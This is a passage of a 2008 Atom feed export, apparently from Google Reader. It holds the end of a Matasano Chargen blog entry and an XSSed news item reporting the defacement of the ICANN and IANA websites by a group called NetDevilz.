reporter remembers that too.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/321172058" height="1" width="1"/&gt;</content><author><name>Thomas Ptacek</name></author><source gr:stream-id="feed/http://www.matasano.com/log/feed"><id>tag:google.com,2005:reader/feed/http://www.matasano.com/log/feed</id><title type="html">Matasano Chargen</title><link rel="alternate" href="http://www.matasano.com/log" type="text/html" /></source><feedburner:origLink>http://www.matasano.com/log/1078/how-to-hidehhhandle-security-problems-in-your-products/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214547897030"><id gr:original-id="">tag:google.com,2005:reader/item/0ba9fb903a980eea</id><title type="html">ICANN and IANA domains hijacked by Turkish crackers</title><published>2008-06-26T18:28:36Z</published><updated>2008-06-26T18:28:36Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/321105413/" type="text/html" /><summary xml:base="http://www.xssed.com/" type="html">The ICANN and IANA websites were defaced earlier today by a Turkish group called &amp;quot;NetDevilz&amp;quot;. ICANN is responsible for the global coordination of the Internet&amp;#39;s system of unique identifiers. These include domain names, as well as the addresses used in a variety of Internet protocols.&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/321105413" height="1" width="1"/&gt;</summary><author gr:unknown-author="true"><name>(author unknown)</name></author><source gr:stream-id="feed/http://www.xssed.com/news.rss"><id>tag:google.com,2005:reader/feed/http://www.xssed.com/news.rss</id><title type="html">XSSed syndication</title><link rel="alternate"